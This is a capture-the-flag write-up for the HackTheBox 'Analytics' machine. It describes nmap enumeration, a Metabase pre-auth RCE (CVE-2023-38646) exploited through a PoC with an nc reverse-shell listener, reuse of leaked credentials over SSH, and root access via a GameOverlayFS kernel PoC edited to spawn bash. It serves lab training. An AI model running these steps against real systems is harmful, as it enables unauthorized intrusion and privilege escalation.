Analytics

This is an easy Linux box. It is focused on enumeration and researching for known CVEs.

Nmap Scan

Let’s start with a port and services enumeration using nmap.

┌──(kali㉿kali)-[~/HTB/Analytics]
└─$ sudo nmap -sC -sV -p- $IP
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 20:41 CET
Nmap scan report for analytical.htb (10.10.11.233)
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Analytical
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.78 seconds
Note: I don't know if it's an issue from the box being unstable, but I fell in a rabbit hole when I got hold of the creds. It seems that the scan on port 22 SSH has been missed and I ended up enumerating only port 80. I would recommend to be careful with the -T option in nmap. My bad habit was to always set that option to 5 which is maximum aggressiveness.

Here we can see that SSH is running on port 22 and Nginx on port 80. The webserver redirects to the analytical.htb domain name and we need to add it to our /etc/hosts file for local DNS resolution since it’s not registered online.

┌──(kali㉿kali)-[~/HTB/Analytics]
└─$ echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts
10.10.11.233 analytical.htb

The Webapp

When accessing the webapp, we land on a simple page that has only one working link. This link redirects to a login page on the data.analytical.htb subdomain. As before we need to add it to our /etc/hosts file for local DNS resolution.

After some testing, we are not able to trigger an error or find any common vulnerability on the form. On the other hand we can notice that this login page indicates Metabase which is an app used to simplify data analysis for businesses.

After a quick research on internet for known CVEs, we can easily find the recent and critical CVE-2023-38646 Pre-Auth RCE. This exploit’s the /api/setup/validate API endpoint that is used during metabase’s setup. During the handling of the Java database connection, a flaw can be exploited which leads to remote code execution (RCE).

More information about the CVE can be found here.

The Foothold

First we must see if the application exposes it’s /api/session/properties to find the version and/or secret of the application. We can simply visit http://data.analytical.htb/api/session/properties to verify that.

Once the confirmation has been made, we can try to use a POC found online. I won’t explain the process of exploitation but i’ts basically making a POST request in JSON to the vulnerable endpoint with the payload inserted into a call to the exec function in Java’s runtime environment. Feel free to read the POC here for further information.

For this to work we must set up a listener on our attacking machine.

nc -lvnp 1234

Then run the POC script with the following options:

python3 CVE.py --rhost http://data.analytics.htb --lhost <OUR IP> --lport <OUR PORT>

We drop in a shell on our listener and gain foothold on the running application.

Lateral Movement

After some basic enumeration, we can notice that we are in a docker container and we find some credentials in the environment.

We can try to login to the dashboard but the creds as they are don’t work so since the email address is asked, we can deduce that it’s the username plus the domain name. The login succeeds and we are now on the admin dashboard.

metalytics@analytical.htb:An4lytics_ds20223#

This path does not lead to any information after enumeration so we can try the creds to login trough SSH. We land in a valid session and can read the user.txt flag.

Privilege Escallation

Once logged in on the system, we must proceed as always on enumerating the system. Here we find out that the OS is Ubunut running a 6.2.0 kernel version. If we do a bit of research, we can find that this version on the kernel might be vulnerable to CVE-2023-2640 & CVE-2023-32629.

The vulnerability resides in the function ovl_copy_up_meta_inode_data of the component overlayfs. No proper permission checks are made when ovl_copy_up_meta_inode_data calls ovl_do_setxattr.
More information can be found here.

We can edit the following POC and run it to drop in a root shell.

GameOverlayFS

First we need to download it, and transfer it to the target system. Python can serve as a simple HTTP server for our use case.

Next we must edit the POC to run a bash shell in stead of the id command initially present. Locate the bash binary with the following command:

metalytics@analytics:~$ whereis bash
bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz

We then replace the ‘import os;os.setuid(0);os.system(“id”)’ by ‘import os;os.setuid(0);os.system(“/usr/bin/bash”)’ in the POC and run it to escalate privileges.

After success, the root.txt flag is now available to us.